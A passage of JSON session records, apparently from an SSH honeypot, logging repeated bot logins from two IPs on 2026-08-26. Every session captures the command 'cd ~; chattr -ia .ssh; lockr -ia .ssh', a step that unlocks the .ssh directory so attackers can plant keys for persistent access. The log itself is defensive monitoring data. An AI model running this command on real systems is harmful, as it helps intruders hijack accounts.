"168.167.228.123", "src_port": 40823, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 750, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:16:28.241737+00:00", "ended_at": "2026-08-26T15:16:29.345554+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "cd14acdb-0532-4637-a57b-d4614e87e7b8", "name": "nimble-gritty-puffin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40820, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 748, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:13:47.024035+00:00", "ended_at": "2026-08-26T15:13:48.740742+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "2506c4b8-96e2-43e2-9762-00c1218c60bd", "name": "hidden-indigo-dingo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 61494, "username": "kim", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 292, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:13:18.003964+00:00", "ended_at": "2026-08-26T15:13:19.483124+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2246 }, { "id": "b7e8f21d-e68e-4ba7-a684-1d1ce330c1a2", "name": "thawing-fleeting-egret", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 52494, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 300, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:11:24.442968+00:00", "ended_at": "2026-08-26T15:11:26.716417+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "8a19b655-7d8b-4913-9ce0-f0eea4c236dc", "name": "velvet-spirited-camel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40817, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 754, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:11:09.396540+00:00", "ended_at": "2026-08-26T15:11:11.023513+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "f881c2e4-7713-4c3b-ba41-1a562cac5584", "name": "scarlet-crisp-avocet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 57610, "username": "deploy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 285, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:09:33.162109+00:00", "ended_at": "2026-08-26T15:09:34.142292+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "3d81e16b-e9d4-4aac-a492-6a2552c55825", "name": "fleeting-shaded-marten", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40814, "username": "usuario1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 747, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:08:27.168497+00:00", "ended_at": "2026-08-26T15:08:28.568238+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2259 }, { "id": "897c001f-3537-4cf6-8ead-4f6972463db6", "name": "mindful-graceful-finch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 56030, "username": "usuario1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 301, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:07:35.710506+00:00", "ended_at": "2026-08-26T15:07:37.163044+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2259 }, { "id": "3c8a58e8-62e7-43b5-ad7c-8cf90e2d120e", "name": "regal-slender-goldfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 50998, "username": "syncuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 293, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:05:32.726271+00:00", "ended_at": "2026-08-26T15:05:34.184077+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "0d61be63-1a1c-4452-9b14-fc7706e888d9", "name": "thorny-sincere-gull", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40811, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 784, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:05:04.993523+00:00", "ended_at": "2026-08-26T15:05:06.290459+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "9a9314ef-938f-4455-a66f-2e10dba5a5a7", "name": "candid-feathered-vole", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 53630, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 292, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:03:37.292615+00:00", "ended_at": "2026-08-26T15:03:38.797555+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "8bcdf282-e66a-4095-9db8-14fd6ca479e6", "name": "prairie-upland-tern", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40808, "username": "postgres", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 746, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:01:57.463304+00:00", "ended_at": "2026-08-26T15:01:59.089304+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2273 }, { "id": "0848e902-05b2-401b-b626-d708e9461d50", "name": "tangled-prickly-cicada", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 60838, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 295, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T15:01:36.456019+00:00", "ended_at": "2026-08-26T15:01:38.513231+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "2e5812ff-72c7-4cf4-b2d7-4a5331157272", "name": "tranquil-polar-manatee", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 64610, "username": "seekcy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 302, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:59:39.928637+00:00", "ended_at": "2026-08-26T14:59:41.567115+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2277 }, { "id": "6950cee9-b1b9-44ad-919f-ff2cce7095de", "name": "fabled-sincere-flamingo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40805, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 754, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:59:12.507667+00:00", "ended_at": "2026-08-26T14:59:13.746782+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "e3ee7511-773d-41cf-8664-c3417c9f6ccf", "name": "bold-lonesome-ocelot", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 62892, "username": "sftp", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 288, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:57:38.476574+00:00", "ended_at": "2026-08-26T14:57:40.599679+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2247 }, { "id": "897439c2-5925-438a-8b14-2eabc9021a13", "name": "fickle-bronzed-vervet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40802, "username": "webuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 757, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:56:35.032491+00:00", "ended_at": "2026-08-26T14:56:36.307896+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "c6f68bac-2808-410e-8b8f-2d45cb853f27", "name": "opal-silent-fennec", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 63282, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 287, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:55:31.523076+00:00", "ended_at": "2026-08-26T14:55:33.134250+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "88233d8a-1dbe-4754-bff9-ef02dd88a432", "name": "prairie-northern-seal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40799, "username": "alexandre", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 746, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:53:53.004073+00:00", "ended_at": "2026-08-26T14:53:54.524521+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2262 }, { "id": "68f114ed-7155-4e0c-b37b-46c2bf01d142", "name": "curious-umber-goshawk", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 53736, "username": "logviewer", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 291, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:53:35.724921+00:00", "ended_at": "2026-08-26T14:53:37.263891+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2256 }, { "id": "a5ea950c-51c3-4e1a-91ab-c3d39f9eae95", "name": "earnest-cosmic-springbok", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 50314, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 272, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:51:34.958005+00:00", "ended_at": "2026-08-26T14:51:35.881700+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "c7314bfa-f3f5-4b8f-b033-8ec79289284e", "name": "austere-sincere-brambling", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40734, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 761, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:51:09.138548+00:00", "ended_at": "2026-08-26T14:51:10.441004+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "b7490650-98ab-4412-ba2f-85d20b650a71", "name": "amiable-nautical-kea", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 64768, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 291, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:49:39.026323+00:00", "ended_at": "2026-08-26T14:49:40.174581+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "b071e9c4-ac61-4511-9399-3afd4d66dcdb", "name": "proud-lively-dipper", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40731, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 748, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:48:13.256128+00:00", "ended_at": "2026-08-26T14:48:14.554042+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "d33947eb-53b3-405c-91a6-f98649ff6c5c", "name": "scarlet-mellow-quokka", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 55332, "username": "promo", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 302, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:47:42.878274+00:00", "ended_at": "2026-08-26T14:47:44.735311+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "79c82dc6-93a6-4f32-a42f-99c5dce541c0", "name": "jaunty-seaward-impala", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 52042, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 295, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:45:40.096591+00:00", "ended_at": "2026-08-26T14:45:41.726099+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "15f36d52-8e35-4540-ae3a-b8462d29a97e", "name": "pleasant-blunt-kingfisher", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40728, "username": "seekcy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 758, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:45:22.843666+00:00", "ended_at": "2026-08-26T14:45:24.423409+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2277 }, { "id": "51a1b668-fbdc-429a-b299-8f08552168f5", "name": "somber-hidden-osprey", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 62084, "username": "alexandre", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 284, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:43:39.415312+00:00", "ended_at": "2026-08-26T14:43:41.429556+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2262 }, { "id": "7598bea9-4da1-47d8-b026-d1a203a68e23", "name": "sincere-tender-tanager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40725, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 747, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:42:31.000515+00:00", "ended_at": "2026-08-26T14:42:32.380142+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "8cec4606-d4d9-4140-bc74-2b5a8e888a1a", "name": "scarlet-solar-gerbil", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 51730, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 268, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:41:33.138217+00:00", "ended_at": "2026-08-26T14:41:34.797637+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "fb4ca0ef-db05-46c4-b9fe-4cb668151541", "name": "supple-quiet-ibex", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40722, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 749, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:39:42.710893+00:00", "ended_at": "2026-08-26T14:39:44.286402+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "573b33b6-3eae-458e-b5ca-03759bf9cb6d", "name": "loyal-dusty-plover", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 62216, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 292, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:39:21.006538+00:00", "ended_at": "2026-08-26T14:39:22.744954+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "bdb39c75-9d9c-411a-a462-848f8b63369a", "name": "ashen-humble-finch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 58144, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 301, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:37:21.409105+00:00", "ended_at": "2026-08-26T14:37:22.312259+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "5ada0aaa-8ca6-459e-a378-738cee4e81d9", "name": "grassy-marbled-barbet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40719, "username": "teamspeak", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 758, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:37:02.987773+00:00", "ended_at": "2026-08-26T14:37:04.629367+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2264 }, { "id": "89f9cf55-6093-45e0-a19e-bd2df5e61d1b", "name": "golden-frugal-pangolin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 64812, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 287, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:35:22.389541+00:00", "ended_at": "2026-08-26T14:35:23.705048+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "24d89739-dec6-4187-8b9e-2e8bf306c2a3", "name": "jolly-sunlit-caracal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40716, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 746, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:34:15.066072+00:00", "ended_at": "2026-08-26T14:34:16.782068+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "eae6fba8-c3b6-4260-ab9a-2a5f3edb67d0", "name": "brave-austere-pheasant", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 56354, "username": "temp", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 286, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:33:17.335120+00:00", "ended_at": "2026-08-26T14:33:18.473899+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "faffdfda-db68-4f26-955b-e2d7f0083163", "name": "proud-vigilant-springbok", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40713, "username": "kamera", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 749, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:31:31.396008+00:00", "ended_at": "2026-08-26T14:31:32.655176+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "2ecc14fe-0580-403a-af11-51c29521eb3e", "name": "cosmic-opal-goldcrest", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 50718, "username": "testftp", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 303, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:31:13.259582+00:00", "ended_at": "2026-08-26T14:31:14.892471+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "6891adec-d205-41a9-baec-2f5a5e4d3213", "name": "reedy-opal-bittern", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 58170, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 295, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:29:20.135184+00:00", "ended_at": "2026-08-26T14:29:21.950257+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "6f3f2e48-327e-409c-8bb4-cc94fec84ebd", "name": "civil-flinty-redstart", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40710, "username": "yangx", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 749, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:28:41.209628+00:00", "ended_at": "2026-08-26T14:28:42.598668+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2239 }, { "id": "bed0f065-88a9-4511-b220-7486a531d149", "name": "jolly-brisk-ouzel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 64060, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 291, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:27:19.683969+00:00", "ended_at": "2026-08-26T14:27:21.927711+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "6db6a079-e5ba-43a2-9b1b-6773fc1a40c7", "name": "placid-proud-greenfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40707, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 748, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:25:56.614579+00:00", "ended_at": "2026-08-26T14:25:57.789293+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2282 }, { "id": "1ebbb7f1-d5fc-490f-9b3f-11e5171af2f9", "name": "loyal-flinty-agouti", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 50212, "username": "webuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 285, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:25:22.761801+00:00", "ended_at": "2026-08-26T14:25:24.511576+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "da7a776d-37a1-4814-9fd8-c934d2057490", "name": "slender-tawny-sloth", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 60544, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 282, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:23:21.970160+00:00", "ended_at": "2026-08-26T14:23:23.893045+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "ea26497e-3ab0-48fd-829a-52c184be61b0", "name": "russet-hazel-marten", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40704, "username": "developer", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 756, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:23:12.910086+00:00", "ended_at": "2026-08-26T14:23:14.585682+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2233 }, { "id": "da7d9251-1811-4279-b07c-312524051816", "name": "glassy-forlorn-goldfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 60904, "username": "odoo17", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 295, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:21:13.030885+00:00", "ended_at": "2026-08-26T14:21:14.884521+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "5c5877b0-9da7-4d45-97ba-2a6981f8117e", "name": "diligent-ivory-owl", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40701, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 755, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:20:30.024042+00:00", "ended_at": "2026-08-26T14:20:31.672634+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2260 }, { "id": "86a35e29-1a47-4b18-b09c-39cd181c00b0", "name": "bronzed-whispering-quail", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 64336, "username": "developer", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 288, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:19:20.933243+00:00", "ended_at": "2026-08-26T14:19:22.363330+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2266 }, { "id": "d2cb77e3-5717-4532-97d7-953fcf646c32", "name": "cosmic-frank-finch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40698, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 747, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:17:49.196284+00:00", "ended_at": "2026-08-26T14:17:50.752858+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "bbe057e8-b0ac-47a8-9558-f4834431a731", "name": "jolly-vivid-curlew", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 64410, "username": "tu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 295, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:17:27.267550+00:00", "ended_at": "2026-08-26T14:17:29.291001+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2241 }, { "id": "f82a9f8f-5da6-4f38-ac45-0998b2c47e27", "name": "russet-curious-addax", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 51294, "username": "minecraft", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 288, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:15:26.998405+00:00", "ended_at": "2026-08-26T14:15:28.445703+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2256 }, { "id": "fc9f9b7a-73ed-4e25-b154-07bbf020566e", "name": "peaty-clever-fieldfare", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40695, "username": "logviewer", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 746, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:14:58.829455+00:00", "ended_at": "2026-08-26T14:15:00.108082+00:00", 